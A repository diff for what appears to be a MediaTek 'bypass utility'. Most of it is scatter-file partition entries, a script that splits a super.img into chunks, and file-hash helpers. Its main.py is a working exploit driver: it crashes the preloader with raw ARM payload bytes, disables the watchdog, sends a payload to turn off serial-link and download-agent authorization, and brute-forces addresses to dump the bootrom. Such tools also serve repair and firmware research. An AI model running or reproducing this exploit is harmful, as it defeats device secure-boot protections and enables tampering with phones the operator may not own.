partition_size: 0x2b00000
|
724 |
+
region: EMMC_USER
|
725 |
+
storage: HW_STORAGE_EMMC
|
726 |
+
boundary_check: false
|
727 |
+
is_reserved: true
|
728 |
+
operation_type: RESERVED
|
729 |
+
is_upgradable: false
|
730 |
+
empty_boot_needed: false
|
731 |
+
reserve: 0x00
|
732 |
+
|
733 |
+
- partition_index: SYS42
|
734 |
+
partition_name: flashinfo
|
735 |
+
file_name: NONE
|
736 |
+
is_download: false
|
737 |
+
type: NORMAL_ROM
|
738 |
+
linear_start_addr: 0xFFFF0080
|
739 |
+
physical_start_addr: 0xFFFF0080
|
740 |
+
partition_size: 0x1000000
|
741 |
+
region: EMMC_USER
|
742 |
+
storage: HW_STORAGE_EMMC
|
743 |
+
boundary_check: false
|
744 |
+
is_reserved: true
|
745 |
+
operation_type: RESERVED
|
746 |
+
is_upgradable: false
|
747 |
+
empty_boot_needed: false
|
748 |
+
reserve: 0x00
|
749 |
+
|
750 |
+
- partition_index: SYS43
|
751 |
+
partition_name: sgpt
|
752 |
+
file_name: NONE
|
753 |
+
is_download: false
|
754 |
+
type: NORMAL_ROM
|
755 |
+
linear_start_addr: 0xFFFF0000
|
756 |
+
physical_start_addr: 0xFFFF0000
|
757 |
+
partition_size: 0x4200
|
758 |
+
region: EMMC_USER
|
759 |
+
storage: HW_STORAGE_EMMC
|
760 |
+
boundary_check: false
|
761 |
+
is_reserved: true
|
762 |
+
operation_type: RESERVED
|
763 |
+
is_upgradable: false
|
764 |
+
empty_boot_needed: false
|
765 |
+
reserve: 0x00
|
766 |
+
|
firmware-tweaks/scatter_split.txt
ADDED
@@ -0,0 +1,169 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
- partition_index: SYS37
|
2 |
+
partition_name: super_1
|
3 |
+
file_name: super_1.img
|
4 |
+
is_download: true
|
5 |
+
type: NORMAL_ROM
|
6 |
+
linear_start_addr: 0x24800000
|
7 |
+
physical_start_addr: 0x24800000
|
8 |
+
partition_size: 0x1f400000
|
9 |
+
region: EMMC_USER
|
10 |
+
storage: HW_STORAGE_EMMC
|
11 |
+
boundary_check: true
|
12 |
+
is_reserved: false
|
13 |
+
operation_type: UPDATE
|
14 |
+
is_upgradable: true
|
15 |
+
empty_boot_needed: false
|
16 |
+
reserve: 0x00
|
17 |
+
|
18 |
+
- partition_index: SYS37
|
19 |
+
partition_name: super_2
|
20 |
+
file_name: super_2.img
|
21 |
+
is_download: true
|
22 |
+
type: NORMAL_ROM
|
23 |
+
linear_start_addr: 0x43c00000
|
24 |
+
physical_start_addr: 0x43c00000
|
25 |
+
partition_size: 0x1f400000
|
26 |
+
region: EMMC_USER
|
27 |
+
storage: HW_STORAGE_EMMC
|
28 |
+
boundary_check: true
|
29 |
+
is_reserved: false
|
30 |
+
operation_type: UPDATE
|
31 |
+
is_upgradable: true
|
32 |
+
empty_boot_needed: false
|
33 |
+
reserve: 0x00
|
34 |
+
|
35 |
+
- partition_index: SYS37
|
36 |
+
partition_name: super_3
|
37 |
+
file_name: super_3.img
|
38 |
+
is_download: true
|
39 |
+
type: NORMAL_ROM
|
40 |
+
linear_start_addr: 0x63000000
|
41 |
+
physical_start_addr: 0x63000000
|
42 |
+
partition_size: 0x1f400000
|
43 |
+
region: EMMC_USER
|
44 |
+
storage: HW_STORAGE_EMMC
|
45 |
+
boundary_check: true
|
46 |
+
is_reserved: false
|
47 |
+
operation_type: UPDATE
|
48 |
+
is_upgradable: true
|
49 |
+
empty_boot_needed: false
|
50 |
+
reserve: 0x00
|
51 |
+
|
52 |
+
- partition_index: SYS37
|
53 |
+
partition_name: super_4
|
54 |
+
file_name: super_4.img
|
55 |
+
is_download: true
|
56 |
+
type: NORMAL_ROM
|
57 |
+
linear_start_addr: 0x82400000
|
58 |
+
physical_start_addr: 0x82400000
|
59 |
+
partition_size: 0x1f400000
|
60 |
+
region: EMMC_USER
|
61 |
+
storage: HW_STORAGE_EMMC
|
62 |
+
boundary_check: true
|
63 |
+
is_reserved: false
|
64 |
+
operation_type: UPDATE
|
65 |
+
is_upgradable: true
|
66 |
+
empty_boot_needed: false
|
67 |
+
reserve: 0x00
|
68 |
+
|
69 |
+
- partition_index: SYS37
|
70 |
+
partition_name: super_5
|
71 |
+
file_name: super_5.img
|
72 |
+
is_download: true
|
73 |
+
type: NORMAL_ROM
|
74 |
+
linear_start_addr: 0xa1800000
|
75 |
+
physical_start_addr: 0xa1800000
|
76 |
+
partition_size: 0x1f400000
|
77 |
+
region: EMMC_USER
|
78 |
+
storage: HW_STORAGE_EMMC
|
79 |
+
boundary_check: true
|
80 |
+
is_reserved: false
|
81 |
+
operation_type: UPDATE
|
82 |
+
is_upgradable: true
|
83 |
+
empty_boot_needed: false
|
84 |
+
reserve: 0x00
|
85 |
+
|
86 |
+
- partition_index: SYS37
|
87 |
+
partition_name: super_6
|
88 |
+
file_name: super_6.img
|
89 |
+
is_download: true
|
90 |
+
type: NORMAL_ROM
|
91 |
+
linear_start_addr: 0xc0c00000
|
92 |
+
physical_start_addr: 0xc0c00000
|
93 |
+
partition_size: 0x1f400000
|
94 |
+
region: EMMC_USER
|
95 |
+
storage: HW_STORAGE_EMMC
|
96 |
+
boundary_check: true
|
97 |
+
is_reserved: false
|
98 |
+
operation_type: UPDATE
|
99 |
+
is_upgradable: true
|
100 |
+
empty_boot_needed: false
|
101 |
+
reserve: 0x00
|
102 |
+
|
103 |
+
- partition_index: SYS37
|
104 |
+
partition_name: super_7
|
105 |
+
file_name: super_7.img
|
106 |
+
is_download: true
|
107 |
+
type: NORMAL_ROM
|
108 |
+
linear_start_addr: 0xe0000000
|
109 |
+
physical_start_addr: 0xe0000000
|
110 |
+
partition_size: 0x1f400000
|
111 |
+
region: EMMC_USER
|
112 |
+
storage: HW_STORAGE_EMMC
|
113 |
+
boundary_check: true
|
114 |
+
is_reserved: false
|
115 |
+
operation_type: UPDATE
|
116 |
+
is_upgradable: true
|
117 |
+
empty_boot_needed: false
|
118 |
+
reserve: 0x00
|
119 |
+
|
120 |
+
- partition_index: SYS37
|
121 |
+
partition_name: super_8
|
122 |
+
file_name: super_8.img
|
123 |
+
is_download: true
|
124 |
+
type: NORMAL_ROM
|
125 |
+
linear_start_addr: 0xff400000
|
126 |
+
physical_start_addr: 0xff400000
|
127 |
+
partition_size: 0x1f400000
|
128 |
+
region: EMMC_USER
|
129 |
+
storage: HW_STORAGE_EMMC
|
130 |
+
boundary_check: true
|
131 |
+
is_reserved: false
|
132 |
+
operation_type: UPDATE
|
133 |
+
is_upgradable: true
|
134 |
+
empty_boot_needed: false
|
135 |
+
reserve: 0x00
|
136 |
+
|
137 |
+
- partition_index: SYS37
|
138 |
+
partition_name: super_9
|
139 |
+
file_name: super_9.img
|
140 |
+
is_download: true
|
141 |
+
type: NORMAL_ROM
|
142 |
+
linear_start_addr: 0x11e800000
|
143 |
+
physical_start_addr: 0x11e800000
|
144 |
+
partition_size: 0x1f400000
|
145 |
+
region: EMMC_USER
|
146 |
+
storage: HW_STORAGE_EMMC
|
147 |
+
boundary_check: true
|
148 |
+
is_reserved: false
|
149 |
+
operation_type: UPDATE
|
150 |
+
is_upgradable: true
|
151 |
+
empty_boot_needed: false
|
152 |
+
reserve: 0x00
|
153 |
+
|
154 |
+
- partition_index: SYS37
|
155 |
+
partition_name: super_10
|
156 |
+
file_name: super_10.img
|
157 |
+
is_download: true
|
158 |
+
type: NORMAL_ROM
|
159 |
+
linear_start_addr: 0x13dc00000
|
160 |
+
physical_start_addr: 0x13dc00000
|
161 |
+
partition_size: 0x3d400000
|
162 |
+
region: EMMC_USER
|
163 |
+
storage: HW_STORAGE_EMMC
|
164 |
+
boundary_check: true
|
165 |
+
is_reserved: false
|
166 |
+
operation_type: UPDATE
|
167 |
+
is_upgradable: true
|
168 |
+
empty_boot_needed: false
|
169 |
+
reserve: 0x00
|
firmware-tweaks/split.py
ADDED
@@ -0,0 +1,95 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import os
|
2 |
+
import sys
|
3 |
+
|
4 |
+
def hex2decimal(hex_str):
|
5 |
+
"""Convert hex string to decimal."""
|
6 |
+
return int(hex_str, 16)
|
7 |
+
|
8 |
+
def bytes2megabytes(byte_size):
|
9 |
+
"""Convert bytes to megabytes."""
|
10 |
+
return byte_size / (1024 * 1024)
|
11 |
+
|
12 |
+
PARTITION_TEMPLATE = """
|
13 |
+
- partition_index: SYS{partition_index}
|
14 |
+
partition_name: {partition_name}
|
15 |
+
file_name: {file_name}
|
16 |
+
is_download: true
|
17 |
+
type: NORMAL_ROM
|
18 |
+
linear_start_addr: {linear_start_addr}
|
19 |
+
physical_start_addr: {physical_start_addr}
|
20 |
+
partition_size: {partition_size}
|
21 |
+
region: EMMC_USER
|
22 |
+
storage: HW_STORAGE_EMMC
|
23 |
+
boundary_check: true
|
24 |
+
is_reserved: false
|
25 |
+
operation_type: UPDATE
|
26 |
+
is_upgradable: true
|
27 |
+
empty_boot_needed: false
|
28 |
+
reserve: 0x00"""
|
29 |
+
|
30 |
+
# File settings
|
31 |
+
BASE_LINEAR_ADDR = 0x24800000 # from scatter file
|
32 |
+
BASE_PHYSICAL_ADDR = 0x24800000 # from scatter file
|
33 |
+
CHUNK_SIZE = 500 * 1024 * 1024 # 500 MB
|
34 |
+
PARTITION_SIZE = 0x17b000000 # from scatter file
|
35 |
+
|
36 |
+
input_file = r"C:\Users\Alpha\Desktop\X688B-H659ABCEFGHI-Q-GL-210813V464\super.img"
|
37 |
+
total_partition_size = PARTITION_SIZE
|
38 |
+
total_chunk_size = 0
|
39 |
+
# Split the file
|
40 |
+
file_size = os.path.getsize(input_file)
|
41 |
+
# Test calculations
|
42 |
+
print(f"Total Partition Size: {total_partition_size} bytes")
|
43 |
+
print(f"File Size : {file_size} bytes")
|
44 |
+
print(f"Chunk Size : {CHUNK_SIZE} bytes")
|
45 |
+
|
46 |
+
|
47 |
+
if file_size > total_partition_size:
|
48 |
+
print(f"Error: File size {bytes2megabytes(file_size)} MB exceeds partition size {bytes2megabytes(total_partition_size)} MB.")
|
49 |
+
exit(1)
|
50 |
+
if file_size < CHUNK_SIZE:
|
51 |
+
print(f"Error: File size {bytes2megabytes(file_size)} MB is less than chunk size {bytes2megabytes(CHUNK_SIZE)} MB.")
|
52 |
+
exit(1)
|
53 |
+
if file_size > total_partition_size:
|
54 |
+
print(f"Error: File size {bytes2megabytes(file_size)} MB exceeds total partition size {bytes2megabytes(total_partition_size)} MB.")
|
55 |
+
exit(1)
|
56 |
+
|
57 |
+
chunks = (file_size + CHUNK_SIZE - 1) // CHUNK_SIZE # Ceiling division
|
58 |
+
print('number of chunks:', chunks)
|
59 |
+
# exit(0)
|
60 |
+
# Split the file into chunks and save them
|
61 |
+
with open(input_file, "rb") as f:
|
62 |
+
for i in range(chunks):
|
63 |
+
chunk_file = f"super_{i+1}.img"
|
64 |
+
current_chunk_size = min(CHUNK_SIZE, file_size - (i * CHUNK_SIZE)) # Adjust last chunk
|
65 |
+
with open(chunk_file, "wb") as out:
|
66 |
+
out.write(f.read(current_chunk_size)) # Write the current chunk to a file
|
67 |
+
print(f"Chunk {i+1} saved as {chunk_file} with size {current_chunk_size} bytes.")
|
68 |
+
|
69 |
+
# Generate scatter file content
|
70 |
+
scatter_lines = []
|
71 |
+
for i in range(chunks):
|
72 |
+
chunk_linear_addr = BASE_LINEAR_ADDR + (i * CHUNK_SIZE)
|
73 |
+
current_chunk_size = min(CHUNK_SIZE, file_size - (i * CHUNK_SIZE)) # Adjust last chunk
|
74 |
+
current_partition_size = current_chunk_size if i != chunks - 1 else total_partition_size - chunk_linear_addr # Adjust last partition size
|
75 |
+
|
76 |
+
partition_image=f"super_{i+1}.img"
|
77 |
+
partition_info = PARTITION_TEMPLATE.format(
|
78 |
+
partition_index=37,
|
79 |
+
partition_name=partition_image.split('.')[0],
|
80 |
+
file_name=partition_image,
|
81 |
+
linear_start_addr=hex(chunk_linear_addr),
|
82 |
+
physical_start_addr=hex(chunk_linear_addr),
|
83 |
+
partition_size=hex(current_partition_size)
|
84 |
+
)
|
85 |
+
scatter_lines.append(partition_info)
|
86 |
+
total_chunk_size += current_chunk_size
|
87 |
+
|
88 |
+
assert total_chunk_size == file_size, f"Total chunk size ({total_chunk_size}) does not match file size ({file_size})."
|
89 |
+
assert BASE_LINEAR_ADDR + total_chunk_size <= total_partition_size, "Total chunk size exceeds partition size."
|
90 |
+
# Write scatter file
|
91 |
+
with open("scatter_split.txt", "w") as f:
|
92 |
+
scatter_content = "\n".join(scatter_lines)
|
93 |
+
f.write(scatter_content)
|
94 |
+
|
95 |
+
print(f"Split into {chunks} files, scatter file 'scatter_split.txt' generated.")
|
firmware-tweaks/utils.py
ADDED
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import os
|
2 |
+
import hashlib
|
3 |
+
|
4 |
+
def file_size(file_path):
|
5 |
+
"""Returns the size of the file in bytes."""
|
6 |
+
if not os.path.isfile(file_path):
|
7 |
+
raise FileNotFoundError(f"{file_path} does not exist or is not a file.")
|
8 |
+
file_size = os.path.getsize(file_path)
|
9 |
+
file_size_mb = file_size / (1024 * 1024) # Convert bytes to MB
|
10 |
+
return f"{file_size_mb:.2f} MB"
|
11 |
+
|
12 |
+
def hash_file(filename):
|
13 |
+
"""This function returns the SHA-1 hash of the file passed into it"""
|
14 |
+
# make a hash object
|
15 |
+
h = hashlib.sha256()
|
16 |
+
# open file for reading in binary mode
|
17 |
+
with open(filename,'rb') as file:
|
18 |
+
# loop till the end of the file
|
19 |
+
chunk = 0
|
20 |
+
while chunk != b'':
|
21 |
+
# read only 1024 bytes at a time
|
22 |
+
chunk = file.read(1024)
|
23 |
+
h.update(chunk)
|
24 |
+
return h.hexdigest()
|
25 |
+
|
26 |
+
def compare_files(file1, file2):
|
27 |
+
"""Compares two files and returns True if they are identical, False otherwise."""
|
28 |
+
if not os.path.exists(file1) or not os.path.exists(file2):
|
29 |
+
raise FileNotFoundError("One or both files do not exist.")
|
30 |
+
|
31 |
+
file1_size = os.path.getsize(file1)
|
32 |
+
file2_size = os.path.getsize(file2)
|
33 |
+
if file1_size != file2_size:
|
34 |
+
print(f"Files {file1} and {file2} are different sizes: {file1_size} bytes vs {file2_size} bytes.")
|
35 |
+
return False
|
36 |
+
|
37 |
+
# Calculate hashes for both files
|
38 |
+
hash1 = hash_file(file1)
|
39 |
+
hash2 = hash_file(file2)
|
40 |
+
|
41 |
+
# Compare the hashes
|
42 |
+
is_identical = hash1 == hash2
|
43 |
+
if is_identical:
|
44 |
+
print(f"Files {file1} and {file2} are identical.")
|
45 |
+
else:
|
46 |
+
print(f"Files {file1} and {file2} are different.")
|
47 |
+
return is_identical
|
48 |
+
|
49 |
+
def strip_r_padding(file_path):
|
50 |
+
"""Strips the trailing null bytes from a binary file and saves it with a new name."""
|
51 |
+
filename = os.path.basename(file_path)
|
52 |
+
output_path = os.path.join(os.path.dirname(file_path), f"rstripped_{filename}")
|
53 |
+
with open(file_path, 'rb') as f:
|
54 |
+
data = f.read().rstrip(b'\x00')
|
55 |
+
with open(output_path, 'wb') as f:
|
56 |
+
f.write(data)
|
hf_upload.bash
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
huggingface-cli upload sam749/mtk-bypass-utility ./ ./ --exclude "src/__pycache__/*" --token
|
libusb-1.0.dll
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:6b24b0ee1a59cbae385dd15b06eddf2c72b2ff3a875ae279883a880136c59ec8
|
3 |
+
size 166912
|
main.py
ADDED
@@ -0,0 +1,237 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/python3
|
2 |
+
|
3 |
+
from src.exploit import exploit
|
4 |
+
from src.common import from_bytes, to_bytes
|
5 |
+
from src.config import Config
|
6 |
+
from src.device import Device
|
7 |
+
from src.logger import log
|
8 |
+
from src.bruteforce import bruteforce
|
9 |
+
|
10 |
+
import argparse
|
11 |
+
import os
|
12 |
+
|
13 |
+
DEFAULT_CONFIG = "exploits_collection/default_config.json5"
|
14 |
+
PAYLOAD_DIR = "exploits_collection/payloads/"
|
15 |
+
DEFAULT_PAYLOAD = "generic_dump_payload.bin"
|
16 |
+
DEFAULT_DA_ADDRESS = 0x200D00
|
17 |
+
|
18 |
+
|
19 |
+
def main():
|
20 |
+
parser = argparse.ArgumentParser()
|
21 |
+
parser.add_argument("-c", "--config", help="Device config")
|
22 |
+
parser.add_argument("-t", "--test", help="Testmode", const="0x9900", nargs='?')
|
23 |
+
parser.add_argument("-w", "--watchdog", help="Watchdog address(in hex)")
|
24 |
+
parser.add_argument("-u", "--uart", help="UART base address(in hex)")
|
25 |
+
parser.add_argument("-v", "--var_1", help="var_1 value(in hex)")
|
26 |
+
parser.add_argument("-a", "--payload_address", help="payload_address value(in hex)")
|
27 |
+
parser.add_argument("-p", "--payload", help="Payload to use")
|
28 |
+
parser.add_argument("-f", "--force", help="Force exploit on insecure device", action="store_true")
|
29 |
+
parser.add_argument("-n", "--no_handshake", help="Skip handshake", action="store_true")
|
30 |
+
parser.add_argument("-m", "--crash_method", help="Method to use for crashing preloader (0, 1, 2)", type=int)
|
31 |
+
parser.add_argument("-k", "--kamakiri", help="Force use of kamakiri", action="store_true")
|
32 |
+
arguments = parser.parse_args()
|
33 |
+
|
34 |
+
if arguments.config:
|
35 |
+
if not os.path.exists(arguments.config):
|
36 |
+
raise RuntimeError("Config file {} doesn't exist".format(arguments.config))
|
37 |
+
elif not os.path.exists(DEFAULT_CONFIG):
|
38 |
+
raise RuntimeError("Default config is missing")
|
39 |
+
|
40 |
+
device = Device().find()
|
41 |
+
|
42 |
+
config, serial_link_authorization, download_agent_authorization, hw_code = get_device_info(device, arguments)
|
43 |
+
|
44 |
+
while device.preloader:
|
45 |
+
device = crash_preloader(device, config)
|
46 |
+
config, serial_link_authorization, download_agent_authorization, hw_code = get_device_info(device, arguments)
|
47 |
+
|
48 |
+
log("Disabling watchdog timer")
|
49 |
+
device.write32(config.watchdog_address, 0x22000064)
|
50 |
+
|
51 |
+
if device.libusb0:
|
52 |
+
arguments.kamakiri = True
|
53 |
+
|
54 |
+
bootrom__name = "bootrom_" + hex(hw_code)[2:] + ".bin"
|
55 |
+
|
56 |
+
if arguments.test and not arguments.kamakiri:
|
57 |
+
dump_ptr = int(arguments.test, 16)
|
58 |
+
found = False
|
59 |
+
while not found:
|
60 |
+
log("Test mode, testing " + hex(dump_ptr) + "...")
|
61 |
+
found, dump_ptr = bruteforce(device, config, dump_ptr)
|
62 |
+
device.dev.close()
|
63 |
+
reconnect_message()
|
64 |
+
device = Device().find(wait=True)
|
65 |
+
device.handshake()
|
66 |
+
while device.preloader:
|
67 |
+
device = crash_preloader(device, config)
|
68 |
+
device.handshake()
|
69 |
+
log("Found " + hex(dump_ptr) + ", dumping bootrom to {}".format(bootrom__name))
|
70 |
+
open(bootrom__name, "wb").write(bruteforce(device, config, dump_ptr, True))
|
71 |
+
exit(0)
|
72 |
+
|
73 |
+
if serial_link_authorization or download_agent_authorization or arguments.force:
|
74 |
+
log("Disabling protection")
|
75 |
+
|
76 |
+
payload = prepare_payload(config)
|
77 |
+
|
78 |
+
result = exploit(device, config, payload, arguments)
|
79 |
+
if arguments.test:
|
80 |
+
while not result:
|
81 |
+
device.dev.close()
|
82 |
+
config.var_1 += 1
|
83 |
+
log("Test mode, testing " + hex(config.var_1) + "...")
|
84 |
+
reconnect_message()
|
85 |
+
device = Device().find(wait=True)
|
86 |
+
device.handshake()
|
87 |
+
while device.preloader:
|
88 |
+
device = crash_preloader(device, config)
|
89 |
+
device.handshake()
|
90 |
+
result = exploit(device, config, payload, arguments)
|
91 |
+
else:
|
92 |
+
log("Insecure device, sending payload using send_da")
|
93 |
+
|
94 |
+
if not arguments.payload:
|
95 |
+
config.payload = DEFAULT_PAYLOAD
|
96 |
+
if not arguments.payload_address:
|
97 |
+
config.payload_address = DEFAULT_DA_ADDRESS
|
98 |
+
|
99 |
+
payload = prepare_payload(config)
|
100 |
+
|
101 |
+
payload += b'\x00' * 0x100
|
102 |
+
|
103 |
+
device.send_da(config.payload_address, len(payload), 0x100, payload)
|
104 |
+
device.jump_da(config.payload_address)
|
105 |
+
|
106 |
+
result = device.read(4)
|
107 |
+
|
108 |
+
if result == to_bytes(0xA1A2A3A4, 4):
|
109 |
+
log("Protection disabled")
|
110 |
+
elif result == to_bytes(0xC1C2C3C4, 4):
|
111 |
+
dump_brom(device, bootrom__name)
|
112 |
+
elif result == to_bytes(0x0000C1C2, 4) and device.read(4) == to_bytes(0xC1C2C3C4, 4):
|
113 |
+
dump_brom(device, bootrom__name, True)
|
114 |
+
elif result != b'':
|
115 |
+
raise RuntimeError("Unexpected result {}".format(result.hex()))
|
116 |
+
else:
|
117 |
+
log("Payload did not reply")
|
118 |
+
|
119 |
+
device.close()
|
120 |
+
|
121 |
+
def reconnect_message():
|
122 |
+
print("")
|
123 |
+
print("Please reconnect device in bootrom mode")
|
124 |
+
print("")
|
125 |
+
|
126 |
+
def dump_brom(device, bootrom__name, word_mode=False):
|
127 |
+
log("Found send_dword, dumping bootrom to {}".format(bootrom__name))
|
128 |
+
|
129 |
+
with open(bootrom__name, "wb") as bootrom:
|
130 |
+
if word_mode:
|
131 |
+
for i in range(0x20000 // 4):
|
132 |
+
device.read(4) # discard garbage
|
133 |
+
bootrom.write(device.read(4))
|
134 |
+
else:
|
135 |
+
bootrom.write(device.read(0x20000))
|
136 |
+
|
137 |
+
|
138 |
+
def prepare_payload(config):
|
139 |
+
with open(PAYLOAD_DIR + config.payload, "rb") as payload:
|
140 |
+
payload = payload.read()
|
141 |
+
|
142 |
+
# replace watchdog_address and uart_base in generic payload
|
143 |
+
payload = bytearray(payload)
|
144 |
+
if from_bytes(payload[-4:], 4, '<') == 0x10007000:
|
145 |
+
payload[-4:] = to_bytes(config.watchdog_address, 4, '<')
|
146 |
+
if from_bytes(payload[-8:][:4], 4, '<') == 0x11002000:
|
147 |
+
payload[-8:] = to_bytes(config.uart_base, 4, '<') + payload[-4:]
|
148 |
+
payload = bytes(payload)
|
149 |
+
|
150 |
+
while len(payload) % 4 != 0:
|
151 |
+
payload += to_bytes(0)
|
152 |
+
|
153 |
+
return payload
|
154 |
+
|
155 |
+
|
156 |
+
def get_device_info(device, arguments):
|
157 |
+
if not arguments.no_handshake:
|
158 |
+
device.handshake()
|
159 |
+
|
160 |
+
hw_code = device.get_hw_code()
|
161 |
+
hw_sub_code, hw_ver, sw_ver = device.get_hw_dict()
|
162 |
+
secure_boot, serial_link_authorization, download_agent_authorization = device.get_target_config()
|
163 |
+
|
164 |
+
if arguments.config:
|
165 |
+
config_file = open(arguments.config)
|
166 |
+
config = Config().from_file(config_file, hw_code)
|
167 |
+
config_file.close()
|
168 |
+
else:
|
169 |
+
try:
|
170 |
+
config = Config().default(hw_code)
|
171 |
+
except NotImplementedError as e:
|
172 |
+
if arguments.test:
|
173 |
+
config = Config()
|
174 |
+
|
175 |
+
log(e)
|
176 |
+
else:
|
177 |
+
raise e
|
178 |
+
|
179 |
+
if arguments.test:
|
180 |
+
config.payload = DEFAULT_PAYLOAD
|
181 |
+
if arguments.var_1:
|
182 |
+
config.var_1 = int(arguments.var_1, 16)
|
183 |
+
if arguments.watchdog:
|
184 |
+
config.watchdog_address = int(arguments.watchdog, 16)
|
185 |
+
if arguments.uart:
|
186 |
+
config.uart_base = int(arguments.uart, 16)
|
187 |
+
if arguments.payload_address:
|
188 |
+
config.payload_address = int(arguments.payload_address, 16)
|
189 |
+
if arguments.payload:
|
190 |
+
config.payload = arguments.payload
|
191 |
+
if arguments.crash_method:
|
192 |
+
config.crash_method = arguments.crash_method
|
193 |
+
|
194 |
+
|
195 |
+
if not os.path.exists(PAYLOAD_DIR + config.payload):
|
196 |
+
raise RuntimeError("Payload file {} doesn't exist".format(PAYLOAD_DIR + config.payload))
|
197 |
+
|
198 |
+
print()
|
199 |
+
log("Device hw code: {}".format(hex(hw_code)))
|
200 |
+
log("Device hw sub code: {}".format(hex(hw_sub_code)))
|
201 |
+
log("Device hw version: {}".format(hex(hw_ver)))
|
202 |
+
log("Device sw version: {}".format(hex(sw_ver)))
|
203 |
+
log("Device secure boot: {}".format(secure_boot))
|
204 |
+
log("Device serial link authorization: {}".format(serial_link_authorization))
|
205 |
+
log("Device download agent authorization: {}".format(download_agent_authorization))
|
206 |
+
print()
|
207 |
+
|
208 |
+
return config, serial_link_authorization, download_agent_authorization, hw_code
|
209 |
+
|
210 |
+
def crash_preloader(device, config):
|
211 |
+
print("")
|
212 |
+
log("Found device in preloader mode, trying to crash...")
|
213 |
+
print("")
|
214 |
+
if config.crash_method == 0:
|
215 |
+
try:
|
216 |
+
payload = b'\x00\x01\x9F\xE5\x10\xFF\x2F\xE1' + b'\x00' * 0x110
|
217 |
+
device.send_da(0, len(payload), 0, payload)
|
218 |
+
device.jump_da(0)
|
219 |
+
except RuntimeError as e:
|
220 |
+
log(e)
|
221 |
+
print("")
|
222 |
+
elif config.crash_method == 1:
|
223 |
+
payload = b'\x00' * 0x100
|
224 |
+
device.send_da(0, len(payload), 0x100, payload)
|
225 |
+
device.jump_da(0)
|
226 |
+
elif config.crash_method == 2:
|
227 |
+
device.read32(0)
|
228 |
+
|
229 |
+
device.dev.close()
|
230 |
